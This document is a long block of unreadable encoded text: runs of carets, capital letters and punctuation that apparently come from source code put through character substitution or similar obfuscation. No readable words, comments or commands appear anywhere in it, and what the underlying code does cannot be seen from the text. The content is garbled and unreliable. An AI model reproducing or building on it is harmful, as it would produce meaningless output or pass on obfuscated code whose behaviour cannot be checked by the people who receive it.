VZOF		OR^^J	VOIJWW^^_CC^W^^
EtZO	
J^^^C^M!VOHJWVGHNVOIKWW^^A^^>MHFKVOIHWVK		HK!	VWW^^^^^D^^^^^^K		HK!	VWEttt^^Z!^^^C^^^KO	VOIIWVJ	VOIHWW^^^A^^>J	VOIFWVZMN!%J	VOHFW#W^^^D^^^ZMN!%M!VOIGW#Et^tt^^^^V_KO	VOHNWVZO	
JW^^^^^^^^^_KO	VOHNWVZ!W^^^^Z!^^_CC^^ZO	
JW^^
Et^^^V
VZ921<?2-%M!VOFNW#WW^tZMKKJ^C^^^^>M!VINWVK		HK!	VWR^^^^R^^^R^^NR^VJNJIUJGWWEt^^^^^^VMHFKVOHNWVZMKKJW^^^^^XX^KO	VFNWVMHFKVFOWR^^^^ZMKKJR^^Z!W^^^^XX^^^Z!%O#^^_CC^V
W^Z921<?2-%MHFKVOFNW#W^^^
E^^^^tt
VZMKKJR^Z!WEtttt^^^^V
VZ921<?2-%GHNVOFOW#WW^^t^^^^^VMHFKVOIIWVGHNVOFLWWW^>

V
R^^K		HK!	VWWEt^^ZH	
^^C^^^^^V
W^^>KO	VFMWVK		HK!	VWW^^^^^P^YDY^P^V
W^^>KO	VOFMWVK		HK!	VWWEtttt^^^^VZH	
^_CC^^V
W^Z921<?2-%J	VOFOW#W^^^^
E^^^^t
VZH	
WEt^^^^^^t^^t^^^ZHMFF^C^^GHNVOMWVK		HK!	VWR^^MHFKVOFJWWEttt^ZLK^^C^^^^^KO	VOFKWV!ML!JNGNVV
W^^>KO	VINWVK		HK!	VWWWWEt^^^HLKMH	KVMHFKVOJGWVK		HK!	VWW^^^^^^P^GHNVOFHW^^^P^^^^^^ZHMFFR^^ZLKR^YYWEt^VZLK^^_CC^\\W^^^tttt^^^^HLKMH	KVMHFKVOJGWVK		HK!	VWW^P^^^M!VOFIW^^^^P^ZLKR^^^V
W^^J	VOFFWVWR^YYWEt^^^^^^VJ	VOIIWVM!VOFGWWW^^^t^^>
!
VGHNVOGNWR^^^^^ZLK^^^^P^YY^^^^P^^M!VOFFWVWR^M!VOGOWWEt^^^^^^^t^t^Z!!JL
JMF^C^JH
GHKVWEt^^^^^VZ!!JL
JMF^^^^^_CC^MHFKVOJGWVK		HK!	VWW^^XX^^^^^>GHNVJLWVZ!!JL
JMFW^XX^^^>M!VOKOWVZ!!JL
JMFWW^^^^ttt^^^^^^^HLKMH	KVZ!!JL
JMF^^P^^^M!VOFHW^^P^^ZHMFFR^^^ZLKR^^^^YYWEtt^^^VJ	VOIIWVJ	VIOWW^^XX^^^^MHFKVOGLWVM!VOFGWWW^^t^^^^ZL
O^^C^^^
!
VGHNVOGMWR^^^VWWEt^^^^VMHFKVOGJWVZL
OW^^^^^XX^^^^^MHFKVOINWVMIIMVWR^^ZL
OR^^^
WW^t^^^^^>
!
VM!VOGMWR^^MHFKVOGKWVJ	VOGHWVZL
OR^^VMIIMVWWWWWEt^^t^^^t^^HJMLIVMHFKVOGIWWEt^^^^ZIHOII^C^K		HK!	VW^^^P^^^^M!VOGFWEttt^^^^^^^^^VM!VOGLWVJ	VOGGWWW^^>GHNVLNNWVK		HK!	VWR^^ZIHOIIWEt^^^VM!VOGLWVM!VOHHWWW^tQQ^>
^ttt^^^^>!
VK		HK!	VWR^^
WEttt>!
VZIHOIIR^
WEt^^t^^^^^^^^^^VVKO	VOJGWVZIHOIIWR^JH
GHKVWW^^^^^ZGGKW^^^t^ZKIL
^^C^^^	MLGG	KH!!!VZGGKWEt^^^^^^^^^^^V_J	VOGJWVZKIL
WW^^^
Ett^^^^^^VZKIL
^^^^ZO
W^^^ttt^VGHNVLNOWVZO
R^^SVNOUNIWW^^_CC^^KO	VLNLWW^^
Etttt^^Z	OOHF^C^ZGGK^^^^P^YQY^^^P^^^ZO
Et^^ZGLHK^^C^>GHNVLNMWVZ	OOHFWEt^^^^VZGLHK^^XX^ZGLHK^^B^^^KO	VLNJWVW^^^^^^S^^VHNJIGIUMWW^^ttt^^^^^MIFJHVZ	OOHFR^^^^^^VHNLSOFLWWEtOM	VZ	OOHFWEt^t^ttt^^t^^^^^
VZGGKR^ZKIL
R^^ZO
R^Z	OOHFR^ZGLHKWEt^^^
^^V*	^^^^^ZFLLGIILO!W^ttt^
^^V;
^^^^^^ZFLLGIILO!W^^t^^t^^^^^^^ttt^^^^
^^OGHOLMJVZNOG!MNOR^ZG	JWttt^^^^
^^^^tt^^^^^^V_GHNVLNKWVZNOG!MNOW^^^^^^^ZNOG!MNO^^^^CCC^^\\^^^^_M!VLNKWVZG	JW^^^^ZG	J^^CCC^\\W^^
Et^Z	G	
LLF^^C^^MHFKVLNHWVZNOG!MNOWEt^^^V_>MHFKVJLWVZ	G	
LLFW^^_>KO	VOKOWVZ	G	
LLFWW^^^^
Etttt^^^^^ZJF^^C^Z	G	
LLF^^P^J	VLNIW^^P^^GHNVOMWVZNOG!MNOR^^KO	VOFJWWEt^^^ZJIK!^C^>GHNVINWVZJFWEt^^^^^^VGHNVLNKWVZJIK!W^^^^XX^^^GHNVFNWVJ	VLNFWR^^^^^ZJIK!R^ZOF		OW^^^XX^!VZOF		O%N#R^ZG	JR^M!VLNGWWW^
Et^^^^^^^VJ	VOGLWVMHFKVLONWWW^^>GHNVLONWVZJFR^ZG	JWEt^^^^^^
^^^^^V*	^^^^ZMN!W^^^t^^^^^
^^^^^^V;
^^^ZMN!W^^t^tQQ^
^tt^^^^^t^^^^
^
M
MVWt^t^^^^
^t^^^V_MHFKVOGLWVM!VLOOWWW^^^^t^^^^^
Et^t^^^^^^^V>
!
VKO	VLOLWR^^NWW^^^^tHNFHJNJLVMHFKVLOMWR^^MHFKVLOJWR^^^NWEZJ	!CVNUNIWEZGCZJ	![GEt^^^t^^^^^^^^^V_
LJM!!VM!VLOKWWW^
EttZOLLFM^C^^J	VLNOWVJ	VOFKWV?<-.?*6^^^P^^V
W^OFGH!JKG
VWWR^NR^^^VLNF LLNWWEtttt^^^^^ZL	HNN
^^C^^V
W^^>
!
VZOLLFMR^\\WEt^ZHFLN!O^C^^J	VLOHWEtt^^^^^ZMGG
I^C^^\\Ett^^^t^^Z	IKML^C^^^
VM	KIMNM
VWWEt^^^ZG
FINI^C^MFKKIO
VWEtZ	G	
^^C^^^ZG
FINI^P^^YY^^^^P^^Z	IKMLEtttt^t^^^^^VJ	VLOIWVZL	HNN
R^YYW^^_CC^W^^t^Z	LNK^C^^^^GHNVGGWVYYR^ZL	HNN
R^LWEt^^ZHFLN!O^^^C^^Z	LNK%N#EZJ	FGHCKJKOEZI!CZJ	FGH[IEt^^^^ZMGG
I^^C^^^^Z	LNK%O#E^^^^^t^^^^^^^^^^^t^^^^^^^^ttt^^^^ZMGG
I^C^^^^ZL	HNN
Et^tQQ^^
tttt^^^^t^^^^^V_ZMGG
IW^^t^^^>
!
VZOLLFMR^Z	G	
R^^^^^GHNVLOFWWEt^^
Et^tttt^^^t^^VZMGG
I^^CCC^Z	IKMLW^^t^^^VZL	HNN
^_CC^^Z	G	
^XX^^!VZG
FINIR^^^^^^ZHFLN!OR^^^MHFKVLNGWWW^^^t^>
!
VZOLLFMR^^Z	G	
R^^MHFKVLOFWWEt^^^t^^
Ettt^^^tZ
M!^^C^
VZMGG
IWEZKFGCKFONIEZOLLCZKFG OJNEt^^^^^VZ
M!^CCC^^\\^^MHFKVLOGWVZ
M!W^^_CC^^^^^Z
M!W^^^^^t>
!
VZOLLFMR^^Z	G	
R^^^^J	VLLNWWEttt
Ettt^t^Z
N!!IJ^^C^JH
GHKVW^^P^^^YQY^^^P^Z
M!Et^ZO
KK
!^^C^^\\Et^^^^^^^VVMHFKVHWWW^^^t^^ZO
KK
!^^C^^).!.2+970!:7,^^^^P^^^^^^YQY^^P^^^^^GHNVLLOWVZ
M!R^^.?*67081!872;0?3;W^P^^YQY^^^P^^^^Z
M!Ett^^^tttt^^^^^^ZKF^^^C^^>KO	VFMWVZ
N!!IJWEt^ZILM^^C^^^^ZKF^^_CC^^^^^XX^^ZKF^^@C^^^^VFJINSMJINWEt^^^^^^Z!!GJ^^C^^ZO
KK
!^A^^^^^^>M!VLLLWVZO
KK
!W^^^^^D^^^^EtZ
GH	KHFH^^C^Z!!GJ^^^^^_CC^^^XX^^^^^Z!!GJ^^@C^^^^VJGOKUFKWEtt^^^^^V_ZILM^^XX^^^^_Z
GH	KHFHW^^^^t^^^^>
!
VZOLLFMR^Z	G	
R^^^M!VLLNWWEtQQ^).^.^<D^

^
tt^
Ett^ZGO
MN^^C^ZILM^A^^Z
N!!IJ^^D^^ZO
KK
!Et^^^ZKNM^^^^^C^^>MHFKVINWVZGO
MNR^^^^^R^R^^^^NR^VJNMOUHKWWEtttt^^^VGHNVLLMWVZKNMW^^^^^^XX^KO	VFNWVM!VLLJWR^ZKNMR^^Z!WW^^^tt^^^^^^ZHFLN!O^^C^^^Z!%O#Et^^^^^^VJFKLGMJK
VZGO
MNR^^^VJGLHUIJWWW^^tZHFLN!O^^^^C^GHNVLLKWEt^t^^^^^^^
VZKNMR^Z!WEtttZJNLLN^^^C^^^ZILMEt^^^^V_ZJNLLN^XX^Z
GH	KHFHW^^^^^^t^^ZLI	MGNM^^^^C^^KO	VLLOWVZ
M!R^^.?*67081!872;0?3;W^^P^^^^YQY^^^P^^^^Z
M!Etttt^^Z		
HGO!^C^^VW^^^>
!
VKO	VLLHWR^^^VWWEt^ZJNLLN^^C^^^^MHFKVOINWVZLI	MGNMR^^^Z		
HGO!R^^^^^^
WEttt^^V_ZJNLLN^^^^^XX^KO	VOGLWVGHNVLLIWW^^^^XX^^!

VW^^^^XX^J	VLLFWVGHNVLLGWWW^t^^^^^ZOKJ^^^^C^^^VW^^^^^>
!
!
VM!VLMNWR^^VWWEt^^ZJNLLN^C^^
VZOKJ%ZLI	MGNM#WEt^^^^^
VZOKJWEttt^^
VZLI	MGNMR^^^^Z		
HGO!WEt^ttt^^^^ZI
O^C^^!VZG
FINIR^^^ZHFLN!OWEt^^^^^^^VZI
O^^^^^^BC^^NW^t^^^^Z!FKLK^^^C^^^JFKLGMJK
VZGO
MNR^VJGLHUIJWWEt^^^^ZLK
^^^C^^^^V
W^^>M!VLMOWVZGO
MNWEt^Z
L!K^^^^^C^^V_Z!FKLK^^^^^^^ZLK
^@^^^VKLJLFIKMUJIWWEt^^^^^^V_Z
L!K^^^XX^^ZLK
^^^^^^@^VOOLLKIKSIMGGGWW^^^tQQ^^tt^^^^^ZIHOOF^^C^^^^^>MHFKVLMLWVZGO
MNR^^R^R^^NR^VHINNSLHNJWWEt^^^V_J	VLLMWVZIHOOFW^^^^^^^_KO	VFNWVM!VLMMWR^^^^^^ZIHOOFWW^^^^Z
L!K^C^^
Et^t^^^^^^^V_Z
L!K^^XX^_OM
JO!IFVZGO
MNWW^Z
L!K^C^^^^
Et^^^^^V_Z
L!KW^^^^tZKIN^^C^^NN
MM!VWEt^^^^^^V_
VZKIN%GHNVLMJW#WW^^^^tZ!FF^C^^^^^^>GHNVOIFWVZKIN%GHNVLMKW#WEt^^^^^^^^Z
LIK^^C^^^>M!VOIFWVZGO
MNWEt^^^^^^VJ	VLLMWVZ!FFW^^^XX^M!VLLMWVZ
LIKW^^XX^^^^Z!FF^^CCC^Z
LIKW^^^ttt^^^^^Z!	^C^^^NIFNHLJVZKINWEt^^^^^^^VZ!	^CCC^^MHFKVLMHW^^^^^^Z!	^CCC^^^^M!VLMIWW^^^^Z
L!K^^C^
Ett
VZ!FFR^Z
LIKR^^^^^Z!	WEttt^^^^V_Z
L!K^^^XX^F!HFIMVZGO
MNWW^Z
L!K^^C^^^
Et^^^^
VZKINWEt^t^^^VZ
L!KW^^^^tttt^^^^^^^^^VZ!FKLKW^
MFJKMI!K
VZGO
MNWEZN
FJ	C.6.!3?41,!(;,-710EZK!OMGCZN
FJ	TONEt^^^^^^>
!
VZOLLFMR^^^Z	G	
R^^^J	VLLNWWEt^
Et^^^^t^^^^V_ZJNLLNW^t^>
!
VZOLLFMR^^^^^^Z	G	
R^^GHNVLMFWWEt
Et^^t^OGHOLMJVK		HK!	VWR^^^^ZHFLN!OWEtttOOKLIHOVK		HK!	VWWEt^^
^^^^^
Et^^^^^t^^^^V
VZ921<?2-%J	VLMGW#WW^^tQQ^).^HPL^
D^
S
^
tt^Z921<?2-%GHNVLMGW#^C^
Et^^^^^VJFKLGMJK
VZGO
MNR^^VJGKMUJIWWW^^^^^
MFJKMI!K
VZGO
MNWEtZI	MO^^^C^M!VLNJWVWEtt^		KOLLVK		HK!	VWR^VZI	MO^^^^^^S^^^^^^VZI	MO^^[^^^VGGGKJUJHWWW^^^^^U^OFGH!JKG
VWWEt^
VZI	MOWEtOGHOLMJVZ
N!!IJR^^^ZG
FINIWEt^^^^VZO
KK
!W^^^^OGHOLMJVZO
KK
!R^^^^^ZG
FINIWEtttt^^HNFHJNJLVGHNVLOMWR^^^^MHFKVLJNWR^^^NWEt^>
!
VZOLLFMR^^^Z	G	
R^KO	VLMFWWEt^^^^^HJMLIVKO	VLJOWWEt^^VZO
KK
!^^^^_CC^\\^^^^^XX^^^GHNVLLFWVGHNVLJLWWW^^^^t^^^^^^ZJOOL^C^^^^^GHNVLLOWVZ
M!R^^.?*67081!872;0?3;W^^P^YQY^P^^^^^Z
M!Et^^Z		
HGO!^^^^C^^^>
!
VJ	VLLHWR^^VWWEt^VM!VOGJWVZ		
HGO!W^^^XX^^^^^J	VLJMWVZJOOLR^^^Z		
HGO!R^^^^
WW^^t^^>
!
VMHFKVLLHWR^J	VOGKWVKO	VLJJWVZ		
HGO!R^^VZJOOLWWWWEt^t^^
VZJOOLR^^^Z		
HGO!WEt^^t^^^^t^
Et^^^^^^^^^^
^^^^V*	^^^ZMN!W^^tttt!LNLVM!VLJKWR^^^^^^ZMN!WEttt^^
^^V;
^^ZMN!W^^^^t^^^^^^^^^^^t^^^^M
G	FFLIVKO	VLOKWWEtt^^t^^
^^	MLGG	KH!!!VZ	G	
LLFWt^^^^t^^^VGHNVLLFWVKO	VLJHWW^XX^GHNVLLFWVGHNVLJIWWW^^^tZGLH^^C^>M!VLJHWVZ	G	
LLFWEt^^^VZGLHW^^^^^^tZ
M	F^C^^^^VWEt^^^^^	^^VVZMN!^^C^^>KO	VLJIWVZGLHWW^^^_CC^^^^W^^^^^^t^^^^VZMN!^_CC^YPY^^^^^XX^ZMN!^^_CC^^^KO	VLJFWW^^^Z
M	F%#^^^^C^ZMN!Et^^^^^^t^^^^^^VKO	VLLFWVJ	VLJGWWW^>MHFKVLKNWVZGLHWEt^^^^
^^^^^Z
M	FEtttttt^^t^^^^^^VM!VLLFWVGHNVLKOWWW^^^t^ZJGKFGKM^^C^^>KO	VLKOWVZ	G	
LLFWEt^^^^^^^^^^VGHNVOGJWVZJGKFGKMWW^^^
^^^^J	VOGKWVJ	VLJJWVZJGKFGKMR^^^^^VYPYR^^^^^J	VLJFWWWWEttt^^^^VM!VLLFWVMHFKVLKLWWW^^^^t^^Z	LFGH^^^^^C^^^>M!VLKLWVZ	G	
LLF^^^^^P^^^^KO	VLKMWWEt^^^VM!VOGJWVZ	LFGHWW^^
^J	VLKJWVGHNVLOGWR^^Z	LFGHWEt^t^
^^^^Et^^^^t^^
^^JKOOFVZMFKWt^^t^^^^^^^^V_GHNVLLMWVZMFKW^^^MHFKVLOIWVZMFKR^^^GHNVLKKWW^^^CCC^^^W^^^^
^Etttt^^^^^VKO	VOMJWVZMFKW^@^^VONJFKLNUKHWW^^^ZMFK^C^^^!ML!JNGNVZMFKWEt^^^^^^^^^VJ	VLKHWVZMFKW^^^@^VOLNMOJMSOKJKHIWW^^^
^^Ettt^^^^^^^^V_MHFKVLLFWVJ	VLKIWWW^^^
^
Et^^^^V_VJ	VLKFWWW^t^^^Z!^^^^^C^>
!
!VZMFKWEt^V_J	VOGJWVZ!WW^^^^
^^^^^^
Et^^ZLFJFOF^C^^^NEt^^^VZ!^^^^^ZOMO!W^^^ttt^^^^VM!VOGJWVZOMO!WW^^^^tQQ^>

^
S	Stt^^^^VZOMO!%N#^^^^CCC^^*!=+,2'!1.;0^^^^ZOMO!%N#^^CCC^^*!:122?,!1.;0!=+,2'!<,?=;-W^ZLFJFOFUUEt^
Ettt^^tQQ^>
^S
tt^VZOMO!^^^^CCC^^YYW^^^^^^ZLFJFOFUUEtttt^^^VZOMO!^^^^CCC^^^^^^YYW^^^tZLFJFOFSSEttt^^^^^^VZLFJFOF^^^B^NW^^
^Ettttt^t^
^^^ZLFJFOF^CCC^NEt^^tttt^^
^^t^^^^>
!
!VZMFKR^*15;0!.?,-;WEt^^^^^^^
^^^
Et^^^^
^V*	^^^^^ZMN!W^^^ttt
^Et^^^^^
^V;
^ZMN!W^^^^^t^^^^^
^Et^^^t^t^^^
^^^^FGM	OFIN

VWt^^^^^^t^^^^
^^^VGHNVLKGWR^M!VLHNWR^^^M!VLHOWWEt^^^t^^^
^^	JHGM!MVWt^^t^^
^^VGHNVLHLWR^^^^^^MHFKVLHMWR^M!VLHJWR^^^^^M!VLHKWR^^MHFKVLHHWR^J	VLHIWR^^M!VLHFWR^^J	VLHGWR^^MHFKVLINWR^^MHFKVLIOWR^^^J	VLILWR^^^M!VLIMWR^^^^J	VLIJWR^M!VLIKWR^J	VLIHWR^MHFKVLIIWR^^MHFKVLIFWR^^^M!VLIGWR^^MHFKVLFNWR^^^MHFKVLFOWWEt^^t^^^
^^NN
KF	
OVWt^^^^^t^^
^^VGHNVLFLWR^^J	VLFMWR^^^^^J	VLFJWR^^^J	VLFKWWEt^^^^^^^t^^^^^^t^^
^^!FGMON
GVZHKIWt^^tttt^^^VM!VLLFWVJ	VLFHWWW^^
^^VZHKIR^^VHUMWWEt^^^^^^^^^VKO	VLLFWVKO	VLFIWWW^t^^^^
^\"O"F"NF"NN"NN"NN"NN"NN"NN"NM\^^P^^
VZHKIR^VIULWW^^^^^P^M!VLFFWVY(YR^^^^^MHFKVLFGWVZHKIWW^P^GHNVLGNWVY(YR^J	VLKHWVZHKIW^X^VIMNJHLIONJSMNNGHKGFNGWWEt^^^^t^^^^^
^ZHKIEttttt^
^^	GOJOF	HFFOG!VZHKIWttt^t^^^^^^V_M!VLLMWVZHKIW^^^^J	VLKHWVZHKIW^^B^^^^LW^^
^ZHKIEt^^^^^VM!VLNOWVZHKIR^NR^LW^^^_CC^^\"O"F\W^^
^^^ZHKIEt^^^^VGHNVLKHWVZHKIW^^^B^^^^VMUOKWW^
^^EtZGF!L^^^^^C^^>J	VLGOWVY(YR^^^KO	VLGLWVZHKIR^^^SVLULWWWEt^ZGF!L^^C^^^^^M!VLGMWVZGF!LW^^A^^^^ZGF!L%O#^D^^^^^^NEt^^VZGF!L^^^B^^VJJMUKIW^^^^ZGF!L^^^@^^^VOFMJNGOSIFKKOKWW^
^^^Et^^^^^^^VKO	VLLFWVKO	VLGJWWW^^^^t^ZGIN^^C^^^^>VZHKIR^VNLOMOUNLWWEt^^^^VZGIN^^_CC^W^^
^^^^ZGINEtt^^^^^^^t^^^^^VGHNVLLFWVM!VLGKWWW^^^^^t^^^^ZGIN^^^^C^^>
VKO	VLGLWVZHKIR^^^VKUKWR^^^^^KO	VLKHWVZHKIW^S^^VONN OOFWWR^VJGOIOLUKKHFHJWWEt
^^^VKO	VLLMWVZGINW^XX^^J	VLKHWVZGINW^^^BC^^^^^^VONJFKKIUOGWW^^A^^ZGIN^D^^Et^^^^^^t^^^
^^^Et^t^^t^^V_^^J	VLGHWVKO	VLGIWWW^^t^^
^^^LVZ
LKOWt^t^^V_^^J	VLGFWVZ
LKOW^^^^^GHNVLKHWVZ
LKOW^^^[^^^^L^^_CC^NW^^t^^
^^Et^^^^t^^^
^^^^^M!VLGGWVKO	VMNNWR^^^Z
LKOWEt^^ttt^^^^^^t^t^^^t
^^^MGGHHVWtt^^t^^^^Z	OKF^^^C^^VWEt^ZO!HKLJ^^C^^^^V?<-.?*6R^?<-.?*6^^^P^^KO	VMNOWR^?<-.?*6^^^^^P^^^KO	VMNLWWEt^^^^^VVKO	VMNMWWW^ZO!HKLJ%#^^C^).!=10*;0*!:7,^^^^P^^^YQYEt^^VZO!HKLJ^^^^^^ZGINW^tt^^^^^^^ZHL!^C^^^^KO	VLGHWVMHFKVLKLWW^A^^^^^>M!VMNJWVZGIN^^^^^P^^^^M!VMNKWW^D^Et^^VGHNVLGMWVZHL!WW^t^^^^^VZHL!^^^^^ZNW^^ttt^Z	N!MO^C^>GHNVMNHWVZNWEtttt^^^^^^^^VZ	N!MO^XX^^^^Z	N!MO^^@^^VGJHHFJIIMULIWW^^tZ	OKF%#^^C^Z	N!MOEtt^t^^^^^^t^t^^^^^^^V_
VZ	OKFWW^tZII!N	GNL^^C^^^^Z	OKF%GHNVMNIWVZ	OKFW#EZM!CLNJEZIL!GCZM![OIEtttt
^^^^^VZII!N	GNL^^S^VZII!N	GNL^^^[^^^VNIMOOUNOOMFWWW^^U^OFGH!JKG
VWEttttt^^ZGGLIL^^^C^^^MHFKVLNJWVW^^S^VVKFNSLOKW^T^^^VLKO LLIW^T^^^^VMKONUGNWWEtttZ
J!NONJ^^^^C^^KO	VLGHWVKO	VMNFWW^^A^^^	!VNR^VOHO OGOW^^^^T^^^VLKSOW^^T^^^VMKOKUFKWW^D^^^MHFKVMNGWVNR^^VNHUNOFW^T^^^^VOIM OFOW^^^^^T^^VMKGNUONWWEt^^ZII!N	GNL^^^^^C^ZGGLIL^S^^^^^^Z
J!NONJEt^^^
^^^^^VZII!N	GNL^^S^^VZII!N	GNL^^^[^^^^^VGGGLLUIFWWW^^U^OFGH!JKG
VWEt^^^^^t^^^^^
^^^^^!OIVZK	!
!R^^Z
GMR^^^^^Z	
LN	OK^^C^Wt^^^tttt^^^^^Z!HIH^C^
^VZ	I!W^^^^^^VZ	
LN	OKW^^^^^^ZNH!G
CMHGMEZKLJCZNH!G
[OJEt^^^^^V_GHNVLGFWVZ	I!W^^^Z	I!^^^CCC^^^^^\\W^
^^^Et^^^^VKO	VLKHWVZ	I!W^^@^^VFMFFKHLUJHWW^^^
^^^^^^Ett^^^^^^VZ	
LN	OKW^^t
^^t
^^^VW^^^^^J	VMONWVZ	
LN	OKR^Z	I!WEt^^^
^^^V*	^^^ZMN!W^^t^^
^^EZNMGC.6.!70*!3?&Q.6.!70*!3?&EZIOGCZNMGUIOEt^^^^^
^^^V;
^^^^ZMN!W^^t^
^^^^Et^^tt^^
^^^
Et^EtZOLLO^^C^GHNVLGHWVMHFKVMOOWW^^^^A^>KO	VMOOWVZK	!
!R^^Vt^^^M!VMOLW^C@^^^^^^Z
GMRt^MHFKVMOMW^^^^C@^^RtJ	VMOJW^^C@^^VNKMUNINJHWRt^^WW^^^^D^Et^^VZOLLO^^^XX^^V_J	VLGHWVMHFKVMOKWW^^^_!	!VZOLLOWWW^^^t^^^^^^VV
W^^	!
!
!!VZOLLOW^CCC^^VNOUNWW^^^tZL	^^^^C^^^^	!
!
!VZOLLOWEt^^VZ!HIHVZL	WW^^
^^^^ZL	Ettt^^^^^^^t^VKO	VLGHWVM!VMOHWW^XX^MHFKVLGHWVGHNVMOIWW^^XX^GHNVLGHWVM!VMOFWWW^^^t^^Z
HFNKN	^^^^C^^^>GHNVMOHWVZK	!
!WEt^^^^^^^^^VZ
HFNKN	^^^^^^CCC^^^^W^
^^^EZMCKJLLLEZ!KLMOCZM KGEt^>GHNVMOIWVZ
HFNKN	R^^^Vt^^

VKO	VMOGWW^C@^^^^^^
Rt^^^^

VKO	VMLNWW^^C@^^^^Z
GMRt^^^^

VKO	VMLOWW^^C@^^Rt^

VM!VMLLWW^^^C@^^^^^NRt^

VM!VMLMWW^^^^^^C@^^^^^Rt^^^^^^^

VKO	VMLJWW^C@^^
^^^VZ
JGOR^^ZHNLIIR^^ZM
JIW^^^^^
^ZM
JI^^@^VFMFFKLJUFJW^^^^A^O^^^D^^^NE^^RtWWEtt^^^^ZJKG^C^>J	VMLKWVZ
HFNKN	WEZ!	C.6.!3?41,!(;,-710EZOJCZ!	TJEt^^^^^^ZIHL	J^C^>!VZ
HFNKN	WEtttt^^^^ZOGNKJI^^C^^^^^>!
VZ
HFNKN	WEt^>!VZ
HFNKN	WEZGKCMGGMEZGJIILCZGK[LEt^^^^^^^VZIHL	JW^
^Et^^^VV
W^^^ZOGNKJI%MHFKVMLHW#^^CCC^^VNGLUNMHW^^XX^^^ZJKG^^_CC^^^XX^^^^^^Z!HIHVZJKGWW^^tQQ^^
^^).^6^1^=
tt^^^^^
^^ZJKGEt^^^ttttt^^^
^^^Et^tt^^^^^t^^
^KL!M!OVZK	!
!R^^^^ZNG
HFR^^^^^ZFOMJHMHR^Z
GMR^Z	
LN	OK^C^^^Wt^^^^^^t^^Z!HIH^C^^^
^^VZ	I!W^^VZ	
LN	OKW^^ttt^^^^^^^^V_MHFKVLGFWVZ	I!W^^^^^^Z	I!^^^CCC^\\W^
^^^Et^^^^VMHFKVLKHWVZ	I!W^^@^VFMFFKNGUGGWW^^^
^^Et^^^VZ	
LN	OKW^^t^^^^^^^
^t^
^^^^VW^^MHFKVMLIWVZ	
LN	OKR^^^Z	I!WEt^
^V*	^ZMN!W^t^^^^^^
^Etttt^^^^^
^^^V;
^ZMN!W^^t^
^^^^^^Ett^t^^t
^^
Et^^^^^^Et^ZOLLO^^^^C^^J	VLGHWVGHNVMLFWW^^A^>GHNVMLGWVZK	!
!R^^^VtMHFKVMMNW^C@^^Z
GMRt^J	VMOMW^^^C@^Rt^^^^MHFKVMOJW^^C@^^VFMFFKLNUFFWRt^^M!VMMOW^^C@^^^^ZFOMJHMHRtt^^KO	VMMLW^C@^ZNG
HFRt^^^^^^^WW^^^D^Et^^^^^^VKO	VLGHWVMHFKVMOKWW^XX^^!	!VZOLLOWW^^^^tQQ^^
^^).^.^2
tZ
LO
C.6.!3?41,!(;,-710EZ
KCZ
LO
TMEtt^^^^^^^^^VZOLLOW^t^ZMFK^^C^V
W^^^	!
!
!!VZOLLOWEt^^Z!OM^C^	!
!
!VZOLLOWEt^ZKLKK^^^^^^C^^^	!
!
!VZOLLOWEt^ZH	J^^^C^\\Et^^VGHNVMMMWVZKLKKWW^t^^^^^^VZKLKK^^ZMHH!	^^^C@^^^^Z!LW^tQQ^.6.^^
D^
^
ttttZH	J^PC^^ZMHH!	^P^^^^^M!VOMLW^^P^Z!L^^P^^^GHNVMMJWEttt^^^^t^^^^^^^VZMFK^CCC^^VOINUMNW^XX^^Z!HIHVZ!OMWW^^t
^Z!OMEt^t^^^^^^^^^^^t^^^t^^^^^^^^VMHFKVLGHWVJ	VMMKWW^^^^^XX^^^GHNVLGHWVKO	VMOIWW^XX^J	VLGHWVKO	VMLKWWW^^ttt^^Z
HFNKN	^C^^^>J	VMMKWVZK	!
!WEttt^^^^VZ
HFNKN	^^^^CCC^^^W^^t^
^Etttt^^^^tQQ^^^^).^7
=
tt^^^^ZFM^^^C^^VWEt^^VZFOMJHMH^^^^^^^^ZMHH!	^^C@^^^Z!LW^^t^^ZFM%#^^^^^C^^^^ZMHH!	^P^^^J	VMMHW^P^^^Z!LEt^t^>MHFKVMOIWVZ
HFNKN	R^^Vt^^^

VKO	VMMIWW^^^^C@^^
Rtt^^^

VMHFKVMMFWW^C@^^^ZNG
HFRtt^^^^^

VMHFKVMMGWW^^^C@^^^
Rt^^^^^

VM!VMLNWW^^^^C@^^^^Z
GMRt^

VKO	VMLOWW^^C@^^^^Rt^^^^

VMHFKVMLLWW^^C@^^NRt^^^^^

VM!VMJNWW^^^C@^^^^^ZFMRtt^^

VMHFKVMJOWW^^^^C@^^^Rt^^

VMHFKVMLJWW^^C@^^
^VZ
JGOR^^ZHNLIIR^ZM
JIW^^^^^
^ZM
JI^^^^^^@^^^^^VNJOLGUNMHKLW^^^A^^O^D^^^^^NE^^^^RtWWEt^^^^ZJKG^^C^^^>MHFKVMJLWVZ
HFNKN	WEt^^^^ZIHL	J^^^^C^^^^^>!VZ
HFNKN	WEt^^tt^^^Z	K!^^^^C^^^>!VZ
HFNKN	WEt^^ZOGNKJI^^C^^>!
VZ
HFNKN	WEt^^^ZJM^^^^^C^^V
W^^ZOGNKJI%J	VMJMW#Et^^^^^^^^^VZIHL	JW^^tttt^>!VZ
HFNKN	WEt^^^^^
^^^EZ
!KIKC.6.!3?41,!(;,-710EZG
CZ
!KIKTONEt^^t^>!VZ
HFNKN	WEt^VZJM^^^CCC^^VNHUNLLW^^^XX^^^^ZJKG^_CC^^^^^^XX^^^Z!HIHVZJKGWW^^t
^ZJKGEt^^t^^^VZJKGW^^^^t^^^^^^ttt
^^^Ett^tt
^^^^Etttt^^^^^t^
^^H!H!VWt^^^^^tZMIK!HH^^^^^C^^FGM	OFIN

VWEt^^^^^^^Z!OLJ
	
^^C^	JHGM!MVWEt^t^V
VZMIK!HHW^^^^^^^
VZ!OLJ
	
WW^^^ttt^^
^VWEtt^tttt^t^ZK!NOI^^^C^J	VMJJWVGHNVLOOWW^^A^V
W^^^
!
VKO	VMJKWR^^^^\\W^^D^\\Et^^VZK!NOI^^_CC^\\W^^^t^^Z!OLJ
	
^^C^^^^^^KO	VOGKWVKO	VLJJWVZ!OLJ
	
R^^^^^VZK!NOIWWWEttt^^^GHNVMJHWVZ!OLJ
	
R^ZK!NOIWEt^tt^ZILNJHK^^C^^MHFKVMJIWVZMIK!HH%MHFKVMNIWVZMIK!HHW#WEt^tt^^^^^^^^^^^VZILNJHK^^CCC^^\\W^^t^
^^VWEt^t^^ttt^ZNG
HF^^C^J	VMJFW^P^^ZILNJHK^P^^^^^^KO	VMJGWEtt^^^^^^^Z
NGGINO^C^VM!VMKNW^^^^C@^^^GHNVMKOWWEt^^^^ZOLMH^^^C^^^^^^KO	VMKLWV
